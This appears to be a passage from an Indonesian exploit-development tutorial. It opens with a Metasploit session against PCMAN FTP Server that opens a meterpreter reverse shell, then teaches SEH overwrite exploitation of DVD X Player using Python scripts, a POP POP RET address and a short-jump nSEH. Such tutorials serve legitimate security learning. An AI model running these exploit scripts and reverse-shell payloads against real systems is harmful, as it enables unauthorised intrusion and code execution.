  1  exploit/windows/ftp/pcman_put              2015-08-07       normal  Yes    PCMAN FTP Server Buffer Overflow - PUT Command
  2  exploit/windows/ftp/pcman_stor             2013-06-27       normal  Yes    PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow
  3  exploit/windows/ftp/pcman_user             2015-08-07       normal  Yes    PCMAN FTP Server Buffer Overflow - USER Command

msf5 >
Modul pcman_user.rb berhasil dimuat oleh Metasploit

Setelah berhasil dimuat, saatnya menguji skrip eksploit kita di Metasploit

msf5 > use exploit/windows/ftp/pcman_user  
msf5 exploit(windows/ftp/pcman_user) > show options  

Module options (exploit/windows/ftp/pcman_user):

  Name     Current Setting      Required  Description
  ----     ---------------      --------  -----------
  FTPPASS  mozilla@example.com  no        The password for the specified username
  FTPUSER  anonymous            no        The username to authenticate as
  RHOSTS   172.16.165.133       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    21                   yes       The target port (TCP)


Payload options (windows/meterpreter/reverse_https):

  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     172.16.165.128   yes       The local listener hostname
  LPORT     8443             yes       The local listener port
  LURI                       no        The HTTP Path


Exploit target:

  Id  Name
  --  ----
  0   Windows 10 Enterprise Evaluation (version 1909)


msf5 exploit(windows/ftp/pcman_user) > set RHOSTS 172.16.165.133           
RHOSTS => 172.16.165.133
msf5 exploit(windows/ftp/pcman_user) > exploit  

[*] Started HTTPS reverse handler on https://172.16.165.128:8443
[*] 172.16.165.133:21 - Generating payload...
[*] https://172.16.165.128:8443 handling request from 172.16.165.133; (UUID: ufvgwpai) Staging x86 payload (177241 bytes) ...
[*] Meterpreter session 1 opened (172.16.165.128:8443 -> 172.16.165.133:50025) at 2020-06-28 14:07:39 -0400

meterpreter >
Eksploit dengan Metasploit berhasil

Berhasil! Konsol meterpreter sudah menunggu untuk digunakan. Kita sudah berhasil mengkonversi skrip eksploit sebelumnya yang menggunakan Python dan minim fitur ke Metasploit framework yang menggunakan bahasa Ruby dan sangat kaya fitur.

Tujuan utama mengkonversi eksploit ke Metasploit karena fitur Metasploit yang dapat memberikan kemudahan dalam manajemen target dan proses eksploitasi lanjutan, tidak heran banyak pembuat eksploit yang memanfaatkan Metasploit sebagai salah satu tool untuk pembangunan dan penggunaan modul eksploit tingkat lanjut.

Referensi

Membangun Eksploitasi Windows Bagian 4: Menyiasati Structured Exception Handling (SEH)

Pada tulisan sebelumnya saya sudah membahas stack-based overflow yang dapat mengambil alih aliran aplikasi dengan cara menimpa EIP. Pada pembahasan tersebut kondisi aplikasi tidak menerapkan penanganan kesalahan, sehingga EIP dapat terambil alih dengan mudah. Pada kesempatan kali ini, saya akan menjabarkan tentang bagaimana eksploitasi terhadap aplikasi yang menerapkan penanganan kesalahan atau pada pemrograman kita mengenalnya dengan exception. Penanganan kesalahan pada Windows ini disebut dengan Structured Exception Handling (SEH).

Sebelumnya perlu saya jelaskan bahwa yang akan saya bahas hanya sebatas konsep dasar dan bagaimana konsep ini dapat membantu dalam proses pembuatan eksploit. Ada beberapa jenis exception handling seperti termination handling, vectored exception handling, frame-based exception handling yang tidak dibahas disini. Agar dapat memahami lebih detail saya akan berikan beberapa literatur yang dapat dibaca pada akhir tulisan.

Apa sih structured exception handling?

Sederhananya structured exception handling atau SEH adalah mekanisme Windows untuk menangani kondisi kesalahan. Saya tidak menemukan padanan kata yang tepat dalam bahasa Indonesia untuk terjemahan kata exception yang secara harafiah terjemahannya adalah pengecualian. Mulai dari sini kata exception saya artikan sebagai penanganan kesalahan/error pada pemrograman.

Pembaca yang berangkat dari area pemrograman pasti pernah melihat susunan berikut dalam Visual C/C++ atau pada bahasa pemrograman lain

__try
{
    // kode yang dijalankan
}
__except ( expression )
{
    // kode yang dijalankan apabila kode di atas melempar kesalahan
}

Konsepnya sederhana, pada bagian __try akan menjalankan kode yang telah ditentukan dan apabila terjadi kesalahan, __except akan mengambil alih proses dan menjalankan apapun kode yang disediakan di bawahnya. Penanganan kesalahan ini dapat dilakukan oleh program atau dari sistem operasi Windows namun mekanisme penanganan kesalahan ini biasanya ditangani secara terpusat oleh Windows terlepas programmer menggunakan penanganan kesalahan sendiri (dalam programnya) atau tidak.

Struktur dari SEH

Untuk memahami bagaimana proses stack-based overflow dapat berfungsi ketika SEH terjadi, kita perlu melihat struktur SEH berikut yang mengandung exception registration record

typedef struct _EXCEPTION_REGISTRATION_RECORD
{
   struct _EXCEPTION_REGISTRATION_RECORD *Next;
   PEXCEPTION_ROUTINE Handler;
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;

Setiap penanganan kesalahan mengandung exception registration record dan membentuk daftar yang saling berkaitan (linked list). Pada baris ketiga (*Next) merupakan penunjuk _EXCEPTION_REGISTRATION_RECORD berikutnya pada rangkaian SEH (SEH chain). Kita dapat melihat rangkaian SEH dari atas ke bawah dengan menggunakan alamat *Next. Baris keempat (Handler), adalah penunjuk ke fungsi penanganan kesalahan yang mempunyai struktur seperti ini:

 EXCEPTION_DISPOSITION
 __cdecl _except_handler(
     struct _EXCEPTION_RECORD *ExceptionRecord,
     void * EstablisherFrame,
     struct _CONTEXT *ContextRecord,
     void * DispatcherContext
     );

Pada fungsi _except_handler, parameter pertama pada fungsi ini merupakan penunjuk dari _EXCEPTION_RECORD berikut

typedef struct _EXCEPTION_RECORD {
        DWORD ExceptionCode;
        DWORD ExceptionFlags;
        struct _EXCEPTION_RECORD *ExceptionRecord;
        PVOID ExceptionAddress;
        DWORD NumberParameters;
        DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;

Kita juga bisa melihat pada fungsi _EXCEPTION_RECORD di atas yang memegang informasi terkait penanganan kesalahan seperti kode penanganan kesalahan (ExceptionCode), alamat dan jumlah parameternya (ExceptionAddress dan ExceptionInformation).

Fungsi _except_handler menggunakan informasi di atas untuk menentukan apakah sebuah penanganan kesalahan dapat ditangani, apabila tidak dapat ditangani maka proses akan berlanjut pada catatan penanganan kesalahan berikutnya. Nilai kembali dari EXCEPTION_DISPOSITION yang dihasilkan dari fungsi _except_handler memberitahu sistem operasi apakah proses penanganan kesalahan berhasil ditangani (menghasilkan nilai untuk parameter ExceptionContinueExecution) atau harus dilanjutkan ke penanganan kesalahan berikutnya (ExceptionContinueSearch).

Kesimpulannya, ketika ada kesalahan dalam menjalankan sebuah fungsi, Windows memulai rangkaian penanganan kesalahan dengan memeriksa fungsi penanganan _EXCEPTION_REGISTRATION_RECORD apakah fungsi ini bisa menangani kesalahan (berdasarkan informasi dari parameter ExceptionRecord dan ContextRecord). Jika penanganan kesalahan gagal, proses akan berlanjut ke _EXCEPTION_REGISTRATION_RECORD berikutnya (menggunakan alamat yang ditunjuk oleh *Next). Proses ini terus berlanjut sampai ketemu fungsi penanganan kesalahan yang tepat. Jika pada akhirnya penanganan kesalahan yang tepat tidak pernah ditemukan, Windows sudah menyiapkan penanganan kesalahan terakhir yang sering kita lihat sebagai jendela pesan kesalahan “… has encountered a problem and needs to close“. Penanganan kesalahan ini direpresentasikan dengan FFFFFFFF.

Setiap thread memiliki rangkaian SEH masing-masing. Windows dapat melihat rangkaian ini dengan mendapatkan referensi dari daftar penanganan kesalahan (ExceptionList) dari setiap blok informasi thread (TIB/TEB) yang berada pada lokasi FS:[0]. Kalau digambarkan secara sederhana, akan terlihat seperti ini:

Diagram proses penanganan kesalahan (SEH)

Diagram di atas saya sadur dari tulisan Mike Czumak yang menurut saya dapat merangkum penjelasan SEH dengan baik.

Gambaran SEH pada aplikasi

Untuk mendapatkan gambaran rangkaian SEH dari sebuah aplikasi, saya akan menggunakan program yang memang memiliki kerentanan buffer overflow yaitu program DVD X Player. Silakan unduh dan pasang program-program berikut:

Ketika memasang Windows Debugger (WinDbg), pada proses instalasi hanya pilih Debugging Tools for Windows

Setelah terpasang, jalankan WinDbg versi x86 (bukan yang x64) lalu atur Workspace dengan cara menekan Alt+1, Alt+4, Alt+5, dan Alt+7. Jendela Command, Registers, Memory dan Disassembly akan terbuka. Atur jendela-jendela tersebut sesuai cuplikan layar di bawah ini (atau sesuai keinginan)

Workspace WinDbg

Setelah itu atur Symbol Path dengan menekan Ctrl+S dan isikan dengan

SRV*C:\symbols*https://msdl.microsoft.com/download/symbols
Konfigurasi symbol search path

Jangan lupa membuat folder di lokasi C:\symbols untuk menyesuaikan konfigurasi dengan lokasi Symbol Path di atas. Setelah itu simpan workspace di atas dengan cara memilih File -> Save Workspace.

Langkah berikutnya kita jalankan DVD X Player. Lalu pada WinDbg pilih File -> Attach to a Process atau tekan F6, pilih DVDXPlayer.exe. Pada jendela Command, ketikkan !teb yang akan menghasilkan informasi Thread Environment Block (TEB) seperti berikut

0:001> !teb
TEB at 003a0000
    ExceptionList:        0097ff60
    StackBase:            00980000
    StackLimit:           0097c000
    SubSystemTib:         00000000
    FiberData:            00001e00
    ArbitraryUserPointer: 00000000
    Self:                 003a0000
    EnvironmentPointer:   00000000
    ClientId:             00000d08 . 00001c78
    RpcHandle:            00000000
    Tls Storage:          00000000
    PEB Address:          0038e000
    LastErrorValue:       0
    LastStatusValue:      0
    Count Owned Locks:    0
    HardErrorMode:        0

Kita dapat melihat daftar rangkaian SEH yang dimulai pada alamat 0097ff60, kita juga bisa melihat daftar rangkaian SEH ini dengan melakukan dump berikut

0:001> dd fs:[0]
0053:00000000  0097ff60 00980000 0097c000 00000000
0053:00000010  00001e00 00000000 003a0000 00000000
0053:00000020  00000d08 00001c78 00000000 00000000
0053:00000030  0038e000 00000000 00000000 00000000
0053:00000040  00000000 00000000 00000000 00000000
0053:00000050  00000000 00000000 00000000 00000000
0053:00000060  00000000 00000000 00000000 00000000
0053:00000070  00000000 00000000 00000000 00000000

Kita bisa melihat rangkaian SEH dengan cara melakukan dump pada alamat 0097ff60.

0:001> dd 0097ff60
0097ff60  0097ffcc 773da040 9c1d7a86 00000000
0097ff70  0097ff80 76256359 00000000 76256340
0097ff80  0097ffdc 773c7c24 00000000 ebcce34a
0097ff90  00000000 00000000 00000000 00000000
0097ffa0  00000000 00000000 00000000 00000000
0097ffb0  00000000 00000000 00000000 00000000
0097ffc0  00000000 0097ff8c 00000000 0097ffe4
0097ffd0  773da040 9c1d7f3e 00000000 0097ffec
0:001> dd 0097ffcc
0097ffcc  0097ffe4 773da040 9c1d7f3e 00000000
0097ffdc  0097ffec 773c7bf4 ffffffff 773e8fe0
0097ffec  00000000 00000000 7740acb0 00000000
0097fffc  00000000 00000000 00000000 00000000
0098000c  00000000 00000000 00000000 00000000
0098001c  00000000 00000000 00000000 00000000
0098002c  00000000 00000000 00000000 00000000
0098003c  00000000 00000000 00000000 00000000
0:001> dd 0097ffe4
0097ffe4  ffffffff 773e8fe0 00000000 00000000
0097fff4  7740acb0 00000000 00000000 00000000
00980004  00000000 00000000 00000000 00000000
00980014  00000000 00000000 00000000 00000000
00980024  00000000 00000000 00000000 00000000
00980034  00000000 00000000 00000000 00000000
00980044  00000000 00000000 00000000 00000000
00980054  00000000 00000000 00000000 00000000

Terlihat bahwa pada awal dump di alamat 0097ff60, 4 bytes pertama merupakan referensi ke Exception Registration Record berikutnya (0097ffcc) diikuti oleh SEH (773da040). Kita juga bisa melihat rangkaian seluruh SEH dengan mengetik !exchain

0:001> !exchain
0097ff60: ntdll!_except_handler4+0 (773da040)
  CRT scope  0, filter: ntdll!DbgUiRemoteBreakin+3b (7740aceb)
                func:   ntdll!DbgUiRemoteBreakin+3f (7740acef)
0097ffcc: ntdll!_except_handler4+0 (773da040)
  CRT scope  0, filter: ntdll!__RtlUserThreadStart+3ad46 (7740293b)
                func:   ntdll!__RtlUserThreadStart+3addf (774029d4)
0097ffe4: ntdll!FinalExceptionHandlerPad32+0 (773e8fe0)
Invalid exception stack at ffffffff

Kita juga dapat melihatnya di jendela Memori, dengan lebih dahulu mengganti Display Format menjadi Pointer dan Symbol:

Posisi Next SEH dan SEH pada memori stack

Untuk melihatnya pada debugger lain seperti OllyDbg atau ImmunityDbg, lakukan detach program dengan cara memilih menu Debug – Detach Debuggee, lalu tempel proses DVDXPlayer.exe pada OllyDbg/ImmunityDbg, lalu kita bisa lihat pada menu View – SEH chain (kondisi program dalam keadaan terhenti (pause)).

Rangkaian SEH dilihat dari OllyDbg/ImmunityDbg

Pada saat kita sudah mendapatkan gambaran fundamental bagaimana penanganan kesalahan (SEH)pada Windows bekerja.

Proteksi terhadap SEH

SEH pada dasarnya bukan sebuah proteksi melainkan sebuah fitur. SEH dibuat untuk menangani kesalahan pada program agar apabila ada kegagalan dapat ditangani dengan baik. Sejak Windows XP SP1, penerapan exception pada pemrograman sudah menjadi standar dan memaksa pembuat eksploit mencari cara untuk menyiasati SEH. Teknik untuk menyiasati SEH akan dibahas pada tulisan ini termasuk bagaimana melewati proteksi SafeSEH.

Proteksi SafeSEH merupakan fitur yang ditambahkan pada compiler. Dengan menambahkan opsi /SAFESEH maka modul yang di-compile menggunakan opsi ini akan membuat daftar alamat penanganan kesalahan (SEH) yang berlaku untuk program tersebut. Apabila kita berusaha mengganti alamat SEH dengan alamat lain, alamat tersebut tidak akan dimuat dalam SEH dan program akan melanjutkan ke penanganan selanjutnya (Next SEH). Selain SafeSEH, proteksi pada Windows seperti ASLR (Address Space Layout Randomization) dan DEP (Data Execution Prevention) juga berperan dalam menyulitkan dalam pembuatan eksploit.

Eksploitasi SEH pada DVD X Player

Jika kita perhatikan pada proses eksploitasi stack-based overflow, kondisi yang dialami sebenarnya sama hanya saja ketika ada SEH, maka proses eksploitasi tersebut terhalang oleh SEH sehingga dapat mencegah proses eksploitasi (jika diimplementasi dengan baik).

Pada proses eksploitasi yang menggunakan SEH sebagai penanganan kesalahan, kita dapat mengeksploitasinya dengan cara membanjiri memori stack sampai rangkaian Next SEH dan SEH terisi (tertimpa) oleh buffer sehingga proses penanganan kesalahan terpicu oleh keadaan ini, Windows SEH kemudian berusaha menangani keadaan tersebut namun SEH (Handler) telah tertimpa oleh buffer. Ketika SEH tertimpa oleh buffer maka penunjuk instruksi (EIP) yang seharusnya mengeksekusi _except_handler malah mengeksekusi alamat yang tidak ada (alamat buffer). Diagram sebelumnya pada stack-based overflow dapat diperbarui dengan adanya SEH seperti ini

Jika kita membanjiri stack memori dengan buffer yang kita kontrol, maka akan seperti ini

Dari penjelasan di atas kita dapat mengetahui bahwa untuk mengeksploitasi SEH, kita perlu membanjiri memori stack sampai Next SEH dan SEH tertimpa dan memicu mekanisme penanganan kesalahan yang mengarahkan kita pada EIP.

Kita akan mencoba mereplika proses pembuatan eksploit program DVD X Player yang eksploitnya dapat kita lihat di Exploit-DB (https://www.exploit-db.com/exploits/17745). Setelah diperhatikan, program DVD X Player mengalami stack-based overflow ketika memuat file playlist dengan format .plf. Berikut ini skrip proof of concept yang saya buat dengan nama 1.py untuk keperluan replikasi.

#!/usr/bin/python

file = 'sploit-1.plf'
buf = b'A' * 5000

f = open(file,'wb')
print ("Payload size: %d" %len(buf))
f.write(buf)
print ("File",file, "successfully created")
f.close()

Skrip di atas akan menghasilkan file sploit-1.plf yang akan memicu crash terhadap program DVD X Player. Untuk memicunya, buka program DVD X Player, lalu pilih Open Playlist.. dan pilih file sploit-1.plf.

Sesaat setelah file tersebut dipilih untuk dibuka, program DVD X Player langsung tertutup paksa. Untuk melihat apa yang terjadi, sebaiknya kita debug dengan OllyDbg. Kita ulangi proses sebelumnya, namun kali ini program DVD X Player ditempelkan ke OllyDbg.

Kondisi stack-based overflow pada DVD X Player

Bisa kita lihat di bagian bawah bahwa terdapat pesan kesalahan Access violation when writing to [001A0000]. Kita juga bisa melihat bahwa kondisi tersebut disebabkan oleh instruksi

REPS MOVS DWORD PTR ES:[EDI], DWORD PTR DS:[ESI]

Jika dinaikkan sedikit pada jendela disassembly, terlihat bahwa instruksi yang bertanggung jawab atas kondisi ini adalah

NOT ECX
SUB EDI,ECX
MOV EAX,ECX
MOV ESI,EDI
MOV EDI,DWORD PTR SS:[ESP+10]
SHR ECX,2
REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]

Pada kondisi di atas, perintah MOVS menyalin data dari DS: [ESI] ke ES: [EDI]. REPS pada awalan instruksi menandakan repetisi instruksi atas instruksi tersebut. Karena ESI berisi buffer yang kita kontrol, proses salin menyalin ini gagal dan menyebabkan Access violation when writing to [001A0000]. Bagaimana dengan rangkaian SEH?

Rangkaian SEH tertimpa dengan buffer yang dikontrol

Seperti yang sudah diduga, SEH tertimpa dengan buffer yang kita kontrol. Lalu bagaimana cara kita mengarahkan aliran program (EIP) ke buffer yang kita kontrol? Jika pada stack-based overflow kita dapat menggunakan instruksi JMP/CALL ESP, pada kondisi stack-based overflow dengan SEH sedikit berbeda.

Ingat parameter EstablisherFrame pada fungsi _except_handler ketika SEH tereksekusi?

 EXCEPTION_DISPOSITION
 __cdecl _except_handler(
     struct _EXCEPTION_RECORD *ExceptionRecord,
     void * EstablisherFrame,
     struct _CONTEXT *ContextRecord,
     void * DispatcherContext
     );

Ketika fungsi _except_handler ini dipanggil, parameter EstablisherFrame berada pada ESP+8 di memori stack. Pada alamat ini mengandung _EXCEPTION_REGISTRATION_RECORD yang merupakan bagian dari Next SEH yang sudah kita kontrol (alamat 0019F4CC, sesuai cuplikan layar di atas). Kita dapat melihat alamat _EXCEPTION_REGISTRATION_RECORD ini dengan cara membiarkan penanganan kesalahan melanjutkan tugasnya yaitu dengan menjalankan Ctrl+Shift+F9. Proses penanganan kesalahan akan mengeksekusi isi dari alamat 0019F4CC (yang seharusnya adalah Next SEH dan diikuti oleh 4 bytes SEH) namun karena pada alamat tersebut sudah terisi buffer yang kita kontrol maka aliran aplikasi yang seharusnya mengeksekusi alamat SEH (handler) untuk menangani kesalahan malah mengeksekusi buffer yang kita kontrol yaitu 41414141.

SEH terambil alih dan EIP menunjuk ke buffer yang kita kontrol

Lalu bagaimana cara kita dapat membuat EstablisherFrame pada ESP+8 langsung dieksekusi oleh EIP ketika proses penanganan kesalahan terjadi? Ada banyak jalan namun cara paling umum adalah dengan menimpa isi SEH dengan alamat yang mengandung urutan POP REG + POP REG + RETN agar ESP+8 dapat dieksekusi oleh EIP.

Jika kita asumsikan dari cuplikan layar di atas, EIP akan diisi dengan alamat ke urutan POP REG + POP REG + RETN sehingga eksekusinya akan mengambil 2 baris teratas dari memori stack dan kembali (RETN) ke alamat 0019F4CC, dan alamat ini merupakan alamat Next SEH. Dari alamat Next SEH yang berisi buffer yang kita kontrol, kita hanya tinggal “melewati” alamat SEH dengan cara meloncatinya agar mencapai buffer yang sudah kita kontrol (buffer ini dapat kita isi dengan apa saja, misal: shellcode). Dari penjelasan ini mungkin sedikit membingungkan, namun apabila digambarkan akan seperti ini:

Alur eksploitasi SEH

Diagram di atas dapat dijelaskan seperti ini:

  1. Posisi ini ketika buffer dikirim dan diproses sehingga kesalahan memicu SEH
  2. Karena posisi EstablisherFrame ada di ESP+8 dan posisi ini memegang alamat Next SEH, maka kita dapat mengambil alih EIP melalui SEH. Jika SEH kita ganti dengan alamat ke instruksi POP REG + POP REG + RETN maka aliran aplikasi akan membawa kita ke Next SEH.
  3. Ketika aliran aplikasi mengarah ke Next SEH, maka kita tinggal mengisi Next SEH dengan instruksi yang dapat membawa kita kembali ke buffer yang kita kontrol. Instruksi yang dapat kita isi adalah instruksi JMP SHORT yang memiliki opcode \xeb\x00 (00 dapat kita ganti dengan jumlah byte yang diinginkan, misal untuk melompat sejauh 16 byte maka opcode menjadi \xeb\x16). Instruksi ini hanya butuh 2 byte saja.
  4. Pada lokasi ini buffer yang kita kontrol bisa kita ganti dengan shellcode sehingga ketika proses eksploitasi terjadi, shellcode akan tereksekusi.

Membuat Eksploit DVD X Player

Setelah penjelasan yang panjang, tiba saatnya untuk menerapkan penjelasan di atas dalam sebuah proses pembuatan eksploit DVD X Player. Seperti proses stack-based overflow pada tulisan Bagian 2, kita perlu mengetahui karakter A (buffer) keberapa yang menimpa SEH. Untuk itu segera kita jalankan skrip pattern_create.rb seperti pada proses yang sudah kita ketahui sebelumnya lalu segera memperbarui skrip 1.py dan menyimpannya menjadi 2.py

#!/usr/bin/python

file = 'sploit-2.plf'
buf = b'(5000 karakter hasil dari pattern_create.rb)'
f = open(file,'wb')
print ("Payload size: %d" %len(buf))
f.write(buf)
print ("File",file, "successfully created")
f.close()

Ulangi proses di atas dengan cara menjalankan skrip 2.py, lalu pilih Open Playlist.. dan pilih file sploit-2.plf pada program DVD X Player. Jangan lupa tempelkan program DVD X Player ke OllyDbg sebelum membuka file sploit-2.plf agar proses crash dapat tertangkap. Setelah file .plf tersebut dimuat oleh DVD X Player, OllyDbg akan menangkap proses crash. Kita dapat melihat pada jendela SEH chain bahwa SEH (handler) tertimpa dengan karakter 0x33614132

SEH berisi alamat hasil pattern_create.rb

Kita akan menggunakan skrip pattern_offset.rb milik Metasploit untuk mengetahui karakter keberapakah yang menimpa SEH.

Karakter yang menimpa SEH

Hasil dari skrip pattern_offset.rb terhadap karakter yang menimpa SEH yaitu karakter ke-872. Kita akan memperbarui skrip 2.py dan disesuaikan dengan hasil dari pattern_offset untuk melihat apakah perhitungan dan posisinya sudah sesuai. Berikut adalah skrip 3.py sesuai kondisi di atas.

#!/usr/bin/python

file = 'sploit-3.plf'
buf = b'A' * 868    
nseh = b'CCCC'      # Next SEH tertimpa pada karakter ke 872 (868+4)
seh = b'BBBB'       # SEH tertimpa pada karakter ke 876 (872+4)
sisa = b'D' * (5000 - len(buf+nseh+seh))

payload = buf+nseh+seh+sisa

f = open(file,'wb')
print ("Payload size: %d" %len(payload))
f.write(payload)
print ("File",file, "successfully created")
f.close()

Jika digambarkan dalam bentuk diagram, maka yang terjadi seperti ini.

Diagram aliran eksploitasi SEH
Alamat SEH tertimpa dengan BBBB
Posisi Next SEH berisi karakter CCCC

Pada cuplikan layar di atas, posisi Next SEH dan SEH sudah sangat sesuai dengan skrip 3.py. Kita hanya tinggal mencari alamat yang menunjuk ke urutan POP REG + POP REG + RETN. Alamat ke POP POP RET dapat kita temukan disetiap modul yang dimuat oleh program DVDXPlayer.exe. Jika para pembaca ingat pada tulisan sebelumnya, proses mencari alamat POP POP RET dapat kita lakukan dengan menggunakan Find sequence of commands pada salah satu modul yang dimuat oleh program DVDXPlayer.exe.

Melewati proteksi SafeSEH, ASLR, dan DEP

Sebelum mencari alamat urutan instruksi tersebut, kita harus dapat mengidentifikasi jenis-jenis proteksi yang mungkin ada pada modul-modul yang dimuat oleh program DVDXPlayer.exe. Proteksi yang dimaksud adalah proteksi SafeSEH, ASLR, dan DEP. Untuk dapat melihat proteksi-proteksi pada modul tersebut kita dapat menggunakan tool berikut.

OllySEH (Plugin OllyDbg)

OllySEH merupakan plugin untuk OllyDbg versi 1.10. Plugin ini berfungsi untuk mendeteksi proteksi pada modul-modul yang dimuat oleh program utama (DVDXPlayer.exe). Pada versi terakhir, pembuat OllySEH memberikan ekstra fitur dengan adanya deteksi tambahan informasi terhadap DEP dan ASLR. OllySEH dapat diunduh di: https://github.com/marioballano/ollysseh

Mona

Mona merupakan skrip python yang dibuat untuk Immunity Debugger dan Windows Debugger. Mona memiliki banyak fitur seperti memberikan informasi proteksi setiap modul, membuat karakter acak seperti pattern_create.rb, mencari instruksi untuk JMP, atau rangkaian urutan instruksi lainnya, membuat template modul Metasploit, melakukan pencarian karakter badchars, dan lain sebagainya. Bahkan Mona dapat memberikan informasi rangkaian ROP gadget yang dibutuhkan untuk melewati proteksi DEP. Pada bagian tulisan lain saya akan menggunakan skrip Mona sebagai alat bantu untuk mempercepat proses pembuatan eksploit. Mona dibuat hanya untuk sistem 32-bit dan dapat diunduh di: https://github.com/corelan/mona

Pada tulisan kali ini, kita akan menggunakan plugin OllyDbg yaitu OllySEH. Silakan diunduh filenya, ekstrak file OllySEH.dll lalu tempatkan di direktori yang sama dengan direktori OllyDbg. Setelah itu jalankan OllyDbg, lalu lihat pada menu plugin dan pastikan menu SafeSEH ada disana.

Plugin SafeSEH pada OllyDbg 1.10

Untuk melihat jenis proteksi yang ada pada program DVDXPlayer.exe dan modul-modul yang dimuat oleh program tersebut, kita muat program DVDXPlayer.exe lalu pilih Plugins -> SafeSEH -> Scan /SafeSEH Modules.

Hasil scan terhadap modul-modul DVDXPlayer.exe

Terlihat pada bagian modul yang berwarna merah merupakan daftar modul-modul yang ketika di-compile tidak menggunakan opsi /SafeSEH (/SafeSEH OFF). Plugin OllySEH juga memberikan informasi terkait dengan penggunaan ASLR dan DEP, yang rupanya juga OFF atau tidak diaktifkan pada modul-modul tersebut. Apabila kita menggunakan (meminjam) salah satu alamat dari modul-modul tersebut untuk penggunaan rangkaian urutan instruksi POP POP RET maka proses eksekusi eksploitasi akan terbebas dari proteksi SafeSEH, ASLR, dan DEP.

Mencari alamat POP POP RET

Setelah kita mengetahui bahwa beberapa modul bawaan dari DVD X Player tidak di-compile dengan SafeSEH, ASLR, dan DEP maka kita dapat menggunakan salah satu modul tersebut untuk mencari alamat urutan instruksi POP POP RET. Untuk tulisan ini saya memilih MediaPlayerCtrl.dll. Masih ingat cara mencarinya? Caranya sama persis ketika kita mencari JMP ESP pada tulisan sebelumnya, kita pilih dulu modulnya dengan meng-klik 2 kali pada modul MediaPlayerCtrl.dll melalui menu E yang ada di deretan taskbar. Setelah itu, alih-alih menggunakan Ctrl-F, kita akan menggunakan Ctrl-S untuk memunculkan jendela Find sequence of commands lalu saya isi dengan rangkaian instruksi berikut

Mencari rangkaian urutan instruksi POP POP RET

Setelah itu tekan Find. Alamat awal yang ditemukan memiliki alamat 6400b0f0, meskipun kita belum mencari karakter-karakter badchars, alamat ini kemungkinan tidak dapat digunakan karena mengandung karakter \x00 (null byte). Untuk melanjutkan pencarian, tekan Ctrl-L. Setelah memilih-milih alamat POP POP RET yang akan digunakan, saya memilih alamat 0x64020494 dengan alasan alamat ini aman. Alamat ini mengandung karakter heksa dari \x01-\x7F yang merupakan representasi dari karakter di keyboard sehingga minim (walaupun tetap ada kemungkinan) ditolak oleh program.

Alamat rangkaian urutan instruksi POP POP RET

Karena kita sudah menemukan alamat POP POP RET yang akan kita isi untuk menimpa SEH, apa yang akan kita isi pada posisi Next SEH? Sesuai diagram di atas, tentu saja posisi Next SEH akan kita isi dengan instruksi untuk melompat (sebanyak minimal 6-8 bytes lebih tidak apa-apa) ke buffer yang kita kontrol (yang akan kita isi dengan shellcode) . Kita langsung lihat saja prosesnya dengan memperbarui skrip sebelumnya dan menyimpannya dengan nama 4.py

#!/usr/bin/python

file = 'sploit-4.plf'
buf = b'A' * 868
nseh = b'\xeb\x08\x90\x90'  # lokasi di 868+4
seh = b'\x94\x04\x02\x64'   # lokasi di 872+4 - 0x64020494 pop edi  pop esi  retn MediaPlayerCtrl.dll
sisa = b'\xcc' * (5000 - len(buf+nseh+seh))

payload = buf+nseh+seh+sisa

f = open(file,'wb')
print ("Payload size: %d" %len(payload))
f.write(payload)
print ("File",file, "successfully created")
f.close()

Jika diperhatikan pada baris ke-5, variabel nseh yang adalah Next SEH diisi dengan karakter \xeb\x08\x90\x90 yang dapat dijelaskan seperti ini

\xeb - merupakan opcode dari instruksi JMP SHORT
\08 - jumlah byte yang akan dipakai sebagai lompatan
\x90\x90 - NOPsled

Ketika file sploit-4.plf dimuat ke program DVDXPlayer.exe, kesalahan terjadi dan tertangkap oleh OllyDbg. Pada saat ini SEH belum terpicu, namun bisa kita lihat pada rangkaian SEH (jendela SEH chain) bahwa pada posisi ini SEH telah diisi dengan POP EDI # POP ESI # RETN meminjam dari modul MediaPlayerCtrl.dll di alamat 0x64020494.

SEH sudah terisi dengan alamat POP POP RET

Untuk dapat melihat proses penanganan kesalahan dan proses eksploitasinya, kita akan memasang breakpoint pada alamat 0x64020494. Untuk memasang breakpoint, klik 2x pada alamat 0x64020494 lalu tekan F2. Sehingga ketika penanganan kesalahan terpicu, proses akan mengarah ke SEH dan berhenti karena breakpoint. Untuk memicunya kita bisa teruskan prosesnya ke SEH dengan cara menekan Ctrl+Shift+F9. Setelah prosesnya diteruskan, penanganan kesalahan akan terpicu lalu proses ini akan membawa kita ke alamat POP POP RET yang sudah di breakpoint.

Instruksi POP POP RET yang membawa ke Next SEH

Bisa kita lihat pada cuplikan layar di atas bahwa instruksi POP EDI akan menarik alamat teratas pada memori stack (0019EB98) ke register EDI. Lalu POP ESI akan membawa alamat teratas selanjutnya (0019EB9C) ke register ESI dan setelah POP ESI menarik alamat 0019EB9C ke register ESI, instruksi selanjutnya adalah RET yang akan mengembalikan EIP ke posisi yang ditunjuk oleh memori stack paling atas (ESP). Posisi teratas di memori stack adalah alamat 0019EBA0 yang memiliki nilai 0019F4CC. Alamat ini adalah alamat Next SEH. Sehingga secara keseluruhan proses POP POP RET mengembalikan aliran proses penanganan kesalahan ke posisi Next SEH. Silakan menekan F7 (step into) untuk melihat aliran proses mengeksekusi RET dan mengarahkan aliran ke Next SEH.

Eksekusi Next SEH membawa aliran proses ke buffer yang kita kontrol

Pada posisi Next SEH sudah menunggu instruksi selanjutnya yaitu \xeb\x08\x90\x90 yang akan melompati alamat SEH ke buffer yang kita kontrol. Jika pada posisi 0019F4CC kita ikut prosesnya dengan menekan F7, maka aliran proses akan berlanjut ke 0019F4D6 dan posisi ini merupakan lokasi buffer yang kita kontrol (pada saat ini kita isi dengan \xcc). Apabila lokasi buffer yang kita kontrol ini kita isi dengan shellcode maka proses selanjutnya sudah dapat ditebak yaitu shellcode tersebut akan tereksekusi.

Mencari karakter badchars

